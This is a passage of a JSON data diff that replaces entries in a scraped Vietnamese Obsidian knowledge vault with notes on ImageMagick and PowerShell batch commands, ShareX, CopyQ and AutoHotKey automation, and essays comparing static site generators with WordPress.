list\n> t: index of current image (s) in list\n> w: width of this image\n> ```\n> \n> So in plain language, it means that if the image in question is the second image, whose index is one, of which the ternary conditional operator also read as true, then resize it to 90% width of the first image, else do no resize. Or else `-resize` option will [apply to each images in an image sequence](https://imagemagick.org/script/command-line-processing.php#operator) (i.e. all input images before it, but not after it).\n> \n> # Resize and crop\n> I have over 1000 images on different resolutions, (for example 1234x2122, 4400x5212 , etc) and I want to convert all of them to fixed 100x100 size, so.\n> \n> 1. first I need to resize the images keeping proportions, and get 100xA or Ax100, where A > 100 (it depends width and height of image, for some images width > height, and for some images height > width).\n> \n> 2. Crop this image to 100x100 from center\n> ```PowerShell\n> magick convert input.jpg -resize 100x100^ -gravity Center -extent 100x100 output.jpg\n> ```\n> You would use the [area-fill](http://www.imagemagick.org/Usage/resize/#fill) (`^`) [geometry modifier](http://www.imagemagick.org/script/command-line-processing.php#geometry) on the `-resize` operation to unify the down-scale. For cropping the center, [`-extent`](http://www.imagemagick.org/script/command-line-options.php?#extent) with [`-gravity Center`](http://www.imagemagick.org/script/command-line-options.php?#gravity) will work.\n\n\n# Thêm số thứ tự vào các hình hàng loạt\nHữu ích cho việc phân biệt mã nào mình đã làm rồi, mã nào chưa\n```PowerShell\n$i=1; Get-ChildItem -file | ForEach-Object {\n $filename=$_.name\n $basename = $_.basename\n $output = \"$basename$i.jpg\"\n $output; \n magick convert -pointsize 300 -fill red -draw \"text 60,600 `\"$i`\"\" \"$filename\" $output\n $i++\n} \n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-11T10:12:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "S7" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "SL" }, { - "Tiêu đề": "Lập trình web", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình web", + "Tiêu đề": "Chụp màn hình bằng ShareX", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/Chụp màn hình bằng ShareX", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật:: [[Host, domain, CDN]], [[HTML]], [[Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?]], [[Mkdocs]]\n\nXem thêm:: [[Tạo website]]\n## Nơi thảo luận\n![](https://i.imgur.com/4fq665i.png)", + "Toàn bộ nội dung": "## Tự động khởi động \nNhập vào terminal:\n```PowerShell\nschtasks /create /sc onlogon /tn ShareX /rl highest /tr \"'C:\\Program Files\\ShareX\\ShareX.exe' -silent\"\n```\nNguồn:: [How can I get ShareX to start automatically with admin privileges · Issue #94 · ShareX/ShareX · GitHub](https://github.com/ShareX/ShareX/issues/94)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T10:07:00.000Z", - "id": "S8" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-01T10:28:00.000Z", + "id": "SM" }, { - "Tiêu đề": "Hộ kinh doanh với cá nhân kinh doanh là một", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Pháp luật/Hộ kinh doanh với cá nhân kinh doanh là một", + "Tiêu đề": "CopyQ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/CopyQ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lịch sử là từ thời Mao Trạch Đông, khi giao đất cho một hộ gia đình, không quan tâm hộ đó bao nhiêu người\n\nHộ kinh doanh mới được xuất hoá đơn\n\nNguồn:: [[Mỹ Hạnh]]\n", + "Mô tả bài đăng": "Quản lý clipboard bằng CopyQ", + "Toàn bộ nội dung": "# Copy tin nhắn từ Discord\n```js\ncopyq:\nvar raw = str(clipboard())\nvar processed = raw.replace(new RegExp(\" — .* at .*\\n\", \"g\"), \": \")\ncopy(processed)\npaste()\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-16T03:13:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "S9" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "SN" }, { - "Tiêu đề": "Luật VN không định nghĩa doanh nghiệp, mà chỉ nói về các yếu tố tạo nên nó", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Pháp luật/Luật VN không định nghĩa doanh nghiệp, mà chỉ nói về các yếu tố tạo nên nó", + "Tiêu đề": "Tạo phím tắt bằng AutoHotKey", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/Tạo phím tắt bằng AutoHotKey", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tài sản: có 3 cách chính:\n- Góp vốn\n- Huy động vốn ngân hàng\n- Lợi nhuận trong lúc hoạt động\n\n- Trụ sở kinh doanh\n- Con dấu \n\n| Các yếu tố cần phải có | VN | Nước ngoài |\n| ---------------------- | ---------------------------------------- | ---------- |\n| Tên gọi | Cần | |\n| Tài sản | Cần | |\n| Trụ sở | Cần | |\n| Con dấu | là gì cũng được, nhưng cần có tên và MST | Không cần |\n| BHXH | | |\n[[Rất nhiều luật không thể tốt hơn là vì không thể quản lý nổi]]\n\n| Loại hình | Doanh nghiệp tư nhân | TNHH một thành viên | Hợp danh | Cổ phần |\n| ------------------ | ------------------------------ | ---------------------------------------- | ------------------------------------------------------------------------------- | ----------------------------------------- |\n| Vốn và trách nhiệm | Nếu phá sản thì chỉ bị lấy hết | Nếu phá sản thì chỉ bị mất phần khai báo | Xoay quanh danh tiếng của một cá nhân, vốn không quan trọng. Trách nhiệm vô hạn | Bắt buộc phải phát hành cổ phiếu |\n| Số chủ sở hữu | | 1 | | |\n| Quy mô | | 2 - 50 | | 3 người trở lên |\n| | | Cứ là thành viên thì là quyền ngang nhau | | Ai nắm nhiều cổ phần hơn thì có quyền hơn |\n\n[[Hộ kinh doanh với cá nhân kinh doanh là một]] \n\n## Nếu phá sản mà có kết hôn thì sao?\n- Tài sản chung: Cái gì làm từ ngày kết hôn là của chung hết. bỏ 1 đồng vẫn có quyền ngang nhau\n\nCâu hỏi:: Hợp tác xã\nNguồn:: [[Mỹ Hạnh]]", + "Toàn bộ nội dung": "Autohotkey là một phần mềm hỗ trợ người dùng Window, giúp thực hiện các thao tác nhanh và thuận tiện hơn, phù hợp với người làm văn phòng.\n\nThay thế các nút vô dụng trên bàn phím, như <kbd>F1</kbd>, <kbd>Pause</kbd> bằng các nút khác\n```\n::->::→\n:*:<->::↔\n:*:(::() {Left 2}\n;~ :*:'::'' {Left 2}\n:*:\"::\"\" {Left 2}\n:*:[::{[ 2}{bs}}{]} {Left 2}\n:*:{::{{ 2}{bs}{}} {Left 2}\n:*:\\cross::❌❌\n:*:\\check:✔️✅\n:*:lnaiv::[naïve realism](https://en.wikipedia.org/wiki/Na%C3%AFve_realism_(psychology\\))\n:*:lsce::[self-conscious emotions](https://en.wikipedia.org/wiki/Self-conscious_emotions)\n:*:chaoban::Chào bạn. Cho mình hỏi bạn là ai vậy? Cám ơn nhé\nCapslock::Ctrl\n+NumLock::CapsLock\n```\n![](https://youtu.be/YmQPxkS3HjQ) \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-16T02:34:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SA" + "Ngày tạo": "2023-05-30T08:56:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "SO" }, { - "Tiêu đề": "Rất nhiều luật không thể tốt hơn là vì không thể quản lý nổi", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Pháp luật/Rất nhiều luật không thể tốt hơn là vì không thể quản lý nổi", + "Tiêu đề": "Các vấn đề của plugin Digital Garden trong việc tạo trang web từ kho", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Web/Các vấn đề của plugin Digital Garden trong việc tạo trang web từ kho", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Mô tả bài đăng": "Plugin này sử dụng 11ty làm chương trình tạo website, và Vercel làm dịch vụ hosting. Chúng có những nhược điểm gì?", + "Toàn bộ nội dung": "Nếu bạn không muốn mua gói Publish nhưng vẫn muốn tạo một website từ kho của bạn thì bạn cần 3 thứ sau:\n- Một plugin để đẩy ghi chú từ máy của bạn lên GitHub\n- Một chương trình tạo website từ các ghi chú\n- Một dịch vụ hosting để ai cũng có thể truy cập web của bạn\n\nQua buổi hướng dẫn tạo web từ kho đầu tiên thì mình thấy một điểm chung là dường như nhiều bạn bắt đầu hành trình của mình bằng plugin **[Digital Garden](https://github.com/oleeskild/obsidian-digital-garden \"oleeskild/obsidian-digital-garden\")**. Có thể là vì cái tên của nó khiến cho nó dễ được tìm đến nhất. \n\nTuy nhiên, plugin này sử dụng **11ty** làm chương trình tạo website, và **Vercel** làm dịch vụ hosting. Mình thấy chúng có những bất cập sau:\n## Digital Garden ít chức năng và ít cập nhật\nVào thời điểm viết bài, hiện tại có tới [207 vấn đề được cộng đồng gửi đến](https://github.com/oleeskild/obsidian-digital-garden/issues \"Issues · oleeskild/obsidian-digital-garden\"). Gần như không có cái nào được tác giả phản hồi cả. Hồi mới tập tành làm web mình cũng bắt đầu với plugin này, nhưng không dùng được vì bị lỗi tiếng Việt. [Mình có gửi vấn đề lên](https://github.com/oleeskild/obsidian-digital-garden/issues/292 \"Why are there so much 404 error? · Issue #292 · oleeskild/obsidian-digital-garden\") nhưng cũng chịu số phận như rất nhiều vấn đề khác. \n\nMình dùng plugin [Enveloppe](https://enveloppe.github.io/) để đưa ghi chú từ máy lên GitHub và chưa thấy có điểm gì để chê. Nó có nhiều tính năng để tuỳ chỉnh, và tác giả của nó rất nhiệt tình sửa lỗi và tương tác với người dùng. Mình cũng có đóng góp cho plugin này. \n\n## Dịch vụ hosting Vercel hoặc Netlify là những dao mổ trâu giết gà\nDigital Garden mặc định là dùng Vercel vì bạn không tạo đồ thị bằng GitHub Page được. Nếu bạn không cần đồ thị cho web thì GitHub Page đơn giản hơn và phù hợp cho nhu cầu cơ bản của bạn. Tất nhiên, sau khi thành thạo rồi bạn sẽ thấy các dịch vụ này cho bạn nhiều tính năng hay ho hơn rất nhiều. Đến cả mình, sau khi dùng Netlify một thời gian, đủ để tạm hiểu nó và thấy GitHub Page ít chức năng thật, thì mình vẫn chuyển các trang web của mình từ Netlify về lại GitHub Page, vì mình vẫn thấy chưa thực sự cần phải đánh đổi sự phức tạp trong việc sử dụng để có được những tính năng này. Hồi mới lớ ngớ làm web mình dùng Netlify không cẩn thận nên bị nó mổ mất $7 vì build quá nhiều. Ở GitHub Page thì không lo chuyện đó.\n\n## Hướng dẫn sử dụng bỏ qua bước tạo website trên trên máy bạn\nNếu mục đích là làm sao để tạo website cho nhanh để mà còn làm việc khác thì đúng là bạn sẽ không cần phải tạo web trên máy mình. Nhưng theo mình thì đây là bước giúp bạn vỡ ra được nhiều thứ về cách hoạt động của một trang web, vì nó sẽ đòi hỏi bạn cần dùng Git để quản lý phiên bản và terminal để ra lệnh cho các tất cả các chương trình liên quan. Khi bạn tuỳ chỉnh website, bạn sẽ phải thao tác trên tập tin cấu hình cũng như sắp xếp các thư mục cho các tập tin bổ trợ, và chắc chắn bạn sẽ phải xử lý nó trên máy của bạn trước. Kể cả khi bạn không cần làm việc đó thì nó cũng tiện lợi và an toàn hơn là đẩy trực tiếp lên hosting. \n\n## Có những chương trình tạo web mới khắc phục được những nhược điểm của 11ty\nĐể tạo ra website từ các tập tin markdown, bạn cần dùng một chương trình tạo website tĩnh (static site generator):\n![Fetching Title#vu93](https://cdn-media-1.freecodecamp.org/images/0*CCMaHN9JpmvIFNdi)\n\n11ty là chương trình tạo website tĩnh được tích hợp với Digital Garden. Nó dùng một môi trường thực thi tên là Node và nhập plugin bằng CommonJS. CommonJS thì lạc hậu, Node thì bất tiện với người dùng mới. Dưới đây là 3 chương trình tạo web tĩnh mình nghĩ sẽ tốt hơn 11ty:\n\n> [!Attention] Ý đồ trình bày \n> Với mỗi một chương trình sẽ có một phần giới thiệu chung, và phần nói về ưu điểm và nhược điểm. Phần ưu điểm và nhược điểm **chỉ liên quan đến nhu cầu tạo web cá nhân từ kho**. Những ưu điểm và nhược điểm đối với các nhu cầu khác sẽ được để vào phần giới thiệu.\n\n### Mkdocs\nMkdocs được viết bằng Python, một ngôn ngữ đề cao việc dễ đọc, dễ viết, và được dùng nhiều cho những bạn làm về dữ liệu. Đặc biệt, theme Material của nó dùng thiết kế Material của Google, là một kiểu thiết kế phẳng theo nhiều lớp để tạo độ sâu. Theme này phù hợp khi bạn cần một trang web có một thanh điều hướng với nhiều nút, đủ đơn giản để không làm rối, nhưng lại không quá đơn giản để tạo ra được một giao diện ấn tượng với người dùng. \n\nƯu điểm:\n- Tập tin cấu hình `mkdocs.yml` là một tập tin YAML quen thuộc, không phải code gì cả\n- Số lượng tính năng phong phú, đặc biệt là có nhiều kiểu markdown cho các nhu cầu đặc thù\n\nNhược điểm:\n- Cài Python trên Windows có thể gặp trục trặc về đường dẫn. Cái này tuỳ người. Nếu bị thì thêm `py -m` trước mọi dòng lệnh. Ví dụ `mkdocs serve` → `py -m mkdocs serve`\n\n### Lume\nLume viết bằng JavaScript. Obsidian cũng viết bằng JavaScript. Nên dùng Lume bạn chỉ cần học một ngôn ngữ để có thể thao tác với Obsidian tốt hơn. Nó phù hợp cho các trang blog hoặc wiki đơn giản.\n\nƯu điểm:\n- Với mỗi thư mục bạn có thể đặt một tập tin cấu hình `_data.yaml` để cấu hình cho toàn bộ thư mục. Nếu bạn muốn một thư mục con có cấu hình khác thì chỉ cần tạo một tập tin `_data.yaml` khác vào trong thư mục con đó\n- Trong trường hợp bạn phải chỉnh code, thì Lume dùng Deno, một môi trường thực thi tích hợp sẵn những tiến bộ mới nhất của JavaScript, tiện lợi hơn Node nhiều\n\nNhược điểm:\n- Số theme còn ít\n- Không có đồ thị liên kết các nút cho người dùng\n\n### Quartz\nĐây là một chương trình tạo web tĩnh được viết đặc biệt dành cho người dùng Obsidian. Tác giả của nó muốn thúc đẩy *sự giải trung tâm hoá ở web*, hay còn gọi là *dweb* hoặc *web 3.0*. Mình đoán là cái gọi là khu vườn số cũng nằm trong dòng chảy này. Bạn có thể xem video phỏng vấn tác giả ở [đây](https://www.youtube.com/watch?v=YCvV7Izqggc). Quartz phù hợp cho người cần có đồ thị mạng lưới mối quan hệ giữa các ghi chú trên web.\n\nƯu điểm:\n- Có sẵn đồ thị và backlink\n\nNhược điểm: \n- Không có nút ba que để mở menu cho người dùng điện thoại (có thể dùng các bản fork của cộng đồng). Tác giả hình như cũng đuối nên không tương tác nhiều với cộng đồng\n- Tập tin cấu hình là `quartz.config.ts` hoặc `quartz.layout.ts`, nghĩa là để cấu hình là bạn phải dùng TypeScript để chỉnh\n- Dùng Node\n\nNếu bạn muốn tìm hiểu thêm về môi trường thực thi Node và Deno thì có thể đọc bài này: [Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ ](https://doi-thoai.deno.dev/We.48.1)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-16T03:04:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SB" + "Ngày tạo": "2024-08-17T04:00:00.000Z", + "Ngày cập nhật": "2024-09-02T10:20:00.000Z", + "id": "SP" }, { - "Tiêu đề": "Phát triển cộng đồng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Phát triển cộng đồng", + "Tiêu đề": "Google Analytics, Google Tag Manager", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Web/Google Analytics, Google Tag Manager", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [Community Tool Box](https://ctb.ku.edu/en \"Community Tool Box\")\n- [DIY Toolkit](https://www.youtube.com/channel/UCaFaJ4p8lGYerzQIFzu-LjA \"DIY Toolkit - YouTube\")", + "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật::", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "SC" + "id": "SQ" }, { - "Tiêu đề": "Sắp chữ, thiết kế, xuất bản", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sắp chữ, thiết kế, xuất bản", + "Tiêu đề": "Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Web/Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[WYSIWYM]]\nGiải pháp kỹ thuật:: [[Zotero]]\nGiải pháp kỹ thuật:: [[RStudio]]\n", + "Mô tả bài đăng": "WordPress giúp việc tạo web dễ dàng nhất, chứ không phải là thứ tạo web hiệu quả nhất", + "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Tiếp thị số]], [[Lập trình web]]\n\nNếu bạn chỉ cần một nơi lưu lại những gì mình ghi viết bài chia sẻ cho mọi người đọc, các mạng xã hội như Facebook là đủ. Nếu như Facebook đại trà quá và bạn muốn tạo một thương hiệu rõ hơn, Substack, Medium, Spiderum, LinkedIn Page sẽ là những trang sẽ cho khách ghé thăm ấn tượng sơ về phong cách và nội dung của bạn. Nếu bạn muốn tạo một góc thầm lặng, không quá xô bồ, hoặc ngược lại muốn xây dựng một không gian làm cho khách ghé thăm phải cảm thấy ấn tượng, trầm trồ với giao diện độc đáo, thì Weebly, Wix, Squarespace, Shopify, Blogger, WordPress.com sẽ giúp bạn đạt được điều đó. Chỉ khi nào bạn muốn có sự kiểm soát tối đa toàn bộ trang web của bạn với chi phí thấp, thì lúc đó bạn mới cần có một website riêng.\n\nXem thêm:: [[Nền tảng viết trên mạng]]\n\nNhiều người khi có nhu cầu tạo web thường được bạn bè giới thiệu WordPress. WordPress được xếp vào nhóm web động. Ngoài web động ra thì còn có web tĩnh. Web động với web tĩnh bản chất thế nào thì mình nghĩ đợi đến khi bạn đã quen thuộc với web rồi thì giải thích sẽ dễ hiểu hơn, còn giờ nói sớm quá thì bạn lại rối. Quan trọng là chúng sẽ đáp ứng nhu cầu của bạn thế nào thôi. Mình nghĩ rằng đây là những tiêu chí mà một người dùng cá nhân hoặc cho tổ chức nhỏ sẽ cần để ý đến:\n\n| Tiêu chí | WordPress | Web tĩnh |\n| ------------------------------------------- | -------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |\n| Dễ bắt đầu cho người mới | <span style=\"color:green\">Có người làm sẵn hết</span> | Phải tự thiết lập |\n| Tuỳ chỉnh theo đúng nhu cầu | <span style=\"color:green\">Có hướng dẫn ngay tại nơi thiết lập, chỉ cần bấm nút hoặc kéo thả</span> | Thiết lập bằng tập tin văn bản, cần tham khảo hướng dẫn sử dụng |\n| Kho theme và plugin | <span style=\"color:green\">Đồ sộ và dễ dàng cài đặt</span> | Tuỳ vào chương trình được dùng, nhưng chắn chắn không nhiều và dễ cài bằng WordPress |\n| Nếu bài viết đổi URL | <span style=\"color:green\">Người dùng truy cập vào URL cũ sẽ tự động chuyển sang URL mới</span> | Phải tự thiết lập chuyển URL, nếu không sẽ bị lỗi 404 |\n| Giá | Phải mua host | <span style=\"color:green\">Miễn phí</span> |\n| Thiết bị dùng để thao tác | Chủ yếu là chuột | <span style=\"color:green\">Chủ yếu là bàn phím</span> |\n| Cập nhật bài mới, chỉnh sửa bài cũ | Mỗi lần điều chỉnh là phải mở web, chờ web tải rồi mới sao chép từ máy tính lên web được | <span style=\"color:green\">Chỉ cần gõ một lệnh là lên web</span> |\n| Cơ hội nắm được tư duy và công cụ lập trình | Không nhiều | <span style=\"color:green\">Rất tốt</span> |\n| Tốc độ tải | Trang hơi phức tạp là dễ bị chậm | <span style=\"color:green\">Luôn nhanh</span> |\n\nHãy nói thêm về tiêu chí độ phức tạp khi cài đặt web mới. Nếu bạn tự làm một mình từ đầu đến cuối thì có thể web tĩnh dễ cài đặt hơn, vì với việc dùng GitHub Page bạn sẽ không phải lo vấn đề về host. Với một trang web động bạn sẽ phải mua host. Điểm thú vị là, các dịch vụ hosting thường sẽ cài các phần mềm cần thiết cho bạn luôn, để bạn mua xong là có web xài ngay được. Nên thành ra với người chưa biết gì thì việc tạo một trang WordPress mới lại dễ hơn so với web tĩnh, dù thực chất nó khó hơn.\n\nNếu điều bạn cần là có người làm thay bạn việc cài đặt để bạn còn làm những việc khác quan trọng hơn, thì tại sao bạn lại phải bỏ tiền mua host để có người làm thay việc cài đặt, mà không đơn giản là thuê người cài đặt hộ bạn luôn? Chi phí để thuê một người cài đặt web động + host và chi phí thuê một người cài đặt web tĩnh, cái nào rẻ hơn?\n\nChưa kể, việc cài đặt chỉ là bước đầu tiên của việc làm web. Các dịch vụ hosting chỉ làm bước này thôi chứ không làm xa hơn. Việc tuỳ chỉnh để đáp ứng nhu cầu chỉ có bạn tự làm chứ các dịch vụ hosting không làm thay bạn. Muốn làm thay thì bạn phải trả thêm tiền, và nhiều khi cũng không thay bạn được. Nên trừ phi bạn có tiền để thuê hẳn một người quản lý web để bạn khỏi bị phân tán sự chú ý cho những điều quan trọng hơn, chứ nếu bạn phải tự học tự làm thì tốt nhất là chi tiền học một buổi về cách dùng web tĩnh là có thể dùng suốt đời. Chứ chi tiền cho host thì mỗi năm lại phải trả một lần.\n\nVấn đề là, dù các dịch vụ đó chỉ làm giúp bạn bước đầu tiên đó, nhưng **đó lại là bước quan trọng nhất**. Nếu nói như kiểu Lão Tử là \"con đường vạn dặm bắt đầu từ một bước chân\". Bước đầu tiên sẽ quyết định con đường bạn đi. Nó nhiều khi còn quyết định việc bạn có đi nữa hay không. Và bước đầu tiên của người mua host để dùng WordPress thì dễ hơn bước đầu tiên của người tự làm web tĩnh.\n\nNếu bạn để ý, ở trên mình có nói là nếu bạn muốn tạo một góc thầm lặng hoặc một không gian ấn tượng thì WordPress.com sẽ giúp bạn đạt được điều đó. Nhưng ngay sau đó mình lại bảo là nếu bạn có nhu cầu tạo web thì mọi người thường giới thiệu WordPress cho bạn. Hàm ý là WordPress.com không phải là WordPress, và nó không phải là web riêng của bạn. Điều này có nghĩa là sao? Và nó liên quan gì tới những gì nãy giờ mình nói?\n\n**WordPress là một phần mềm để bạn tạo trang web.** Để người khác truy cập được web của bạn thì bạn cần có host. **WordPress.com là một công ty cung cấp dịch vụ host** như bao công ty hosting tương tự. Trên host của một công ty tên là WordPress.com có cài đặt một phần mềm tạo web tên là WordPress. Nếu bạn thuê dịch vụ của công ty này, thì bạn sẽ được cài sẵn WordPress mà không cần phải làm gì cả. Giống như là bạn mở một quán bánh canh và đặt tên cho nó là BánhCanh.com vậy. Khách chỉ cần ngồi vào bàn là có ngay một tô bánh canh miễn phí. Đó là điểm khác biệt.\n\n<iframe width=\"560\" height=\"315\" src=\"https://videopress.com/embed/FmtB9Wcw\" frameborder=\"0\" allowfullscreen allow=\"clipboard-write\"></iframe>\n<script src=\"https://videopress.com/videopress-iframe.js\"></script>\n\nWeb động cũng như web tĩnh đều đòi hỏi bạn phải cài đặt, cấu hình phần mềm. Nhưng vì người dùng web động phải trả thêm cả tiền host khiến cho các công ty hosting có thêm nhiều tiền từ các phần mềm tạo web động hơn các phần mềm tạo web tĩnh. WordPress vào thời điểm ra mắt là phần mềm tạo web động duy nhất có giao diện thân thiện với người dùng. Những điều này đã thúc đẩy các công ty này tập trung vào WordPress, quảng cáo cho nó nhiều hơn. Các công ty này có lợi hơn nếu như người dùng nghĩ đến WordPress đầu tiên khi họ muốn tạo website. Từ đó WordPress bước vào vòng lặp dương, và trở thành một hệ thống quản lý nội dung tiện lợi hơn với người dùng cũng như có được một hệ sinh thái theme và plugin đồ sộ như bây giờ. Việc bạn được bạn bè giới thiệu dùng WordPress cũng là vì nó là thứ giúp bạn đi bước đi đầu tiên dễ dàng nhất, chứ không phải vì nó là thứ giúp bạn đi cả con đường hiệu quả nhất.\n\nCho nên mình nghĩ, câu chuyện giữa web tĩnh và WordPress là câu chuyện đánh đổi giữa dài hạn và ngắn hạn, giữa việc có và không có người đi cùng bạn bước đi đầu tiên. Mình nghĩ WordPress chỉ có lợi nếu bạn cần dùng web động (mà nếu bạn đã hiểu được web động là gì và tại sao mình lại cần web động thì trình độ của bạn đã đi xa hơn bài này rồi. Bạn không còn cần nghe lời khuyên của mình làm gì), hoặc cần một hệ thống quản lý nội dung **đáp ứng được cả 3 yêu cầu sau**:\n- [[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra|Cho bạn phản hồi tức thời khi tuỳ chỉnh giao diện và chức năng]],\n- [[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm|Việc học cách tuỳ chỉnh càng chiếm ít thời gian và tâm trí càng tốt]],\n- [[Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung|Bạn không có người đi trước đi cùng mình những bước đầu tiên]]\n\nCòn không thì với nhu cầu nhỏ thì dùng web tĩnh có lợi về lâu dài hơn. Bạn sẽ chẳng cần tới nhiều theme hoặc plugin đến thế. Cái chính là việc viết bài và đăng bài có tiện lợi hay không mà thôi.\n\nWordPress ra đời năm 2003. 21 năm đã trôi qua, và công nghệ web cũng đã có nhiều thứ mới. Thời điểm đó không có Git, Node, Stack Overflow, VS Code, Astro, Obsidian, ChatGPT. Những cái tên mình liệt kê ra ở đây có thể bạn không hiểu nó là gì, nhưng chúng đã làm cho việc sử dụng web tĩnh trở nên nhẹ nhàng hơn, hoặc có nhiều lợi ích hơn. Nhưng kể cả là ngay bây giờ, khi đã có những công cụ đó, thì mình vẫn phải thừa nhận là với người không biết gì thì đi bước đầu tiên bằng WordPress vẫn dễ hơn đi bước đầu tiên bằng web tĩnh. \n\nTương tự việc [[Lý do viết Trấn Kỳ#Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù|các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù]], [[Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác|có rất nhiều đánh đổi trong cái ngành công nghệ thông tin ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T14:10:00.000Z", - "id": "SD" + "Ngày tạo": "2024-02-27T08:45:00.000Z", + "Ngày cập nhật": "2024-09-02T10:26:00.000Z", + "id": "SR" }, { - "Tiêu đề": "Thoái hóa cột sống", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Bệnh văn phòng/Thoái hóa cột sống", + "Tiêu đề": "Nền tảng viết trên mạng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Web/Nền tảng viết trên mạng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "SỰ THẬT LÀ: Đội [#Marketing](https://www.facebook.com/hashtag/marketing?__eep__=6&__cft__[0]=AZWJAXeALcYtj0yMTclhGUz2XReDR6nlB5FY-vqeqDEz9tP-6Q4Nxz_YWcFkn_uaGIXXR42qpRQK8LrgCYfoauXktzv5UrCb-bSGY5G5wpy-MkPE6gJtemhOD_59SBkHjsrP_cmuYXT7YQRmqsYrtYcuj6EiSNiUE2Cf6_Bsa7K0PklE6BhmGr87ek3iYls3kJ8&__tn__=*NK-R) của chúng tôi khi mở Fanpage thì thường xuyên KHÔNG BIẾT VIẾT GÌ, ngược lại, khi mở Substack thì tự nhiên biến thành Jack Canfield hết cả lũ. Cuối tuần nào tôi cũng nhận được \"e có idea mới triển không anh ơi\"\n\nVì sao? Hãy nhìn sâu một chút vào điều này:\n\n![🍀](https://static.xx.fbcdn.net/images/emoji.php/v9/t87/1/16/1f340.png) Facebook cho bạn cảm giác rằng điều bạn sắp nói ra đã lỗi thời. Chẳng hạn: Hiệu ứng Kim Định chứ gì, ai chả biết. Tóm lại bạn luôn là con người đó, với cái avatar đó và chuẩn 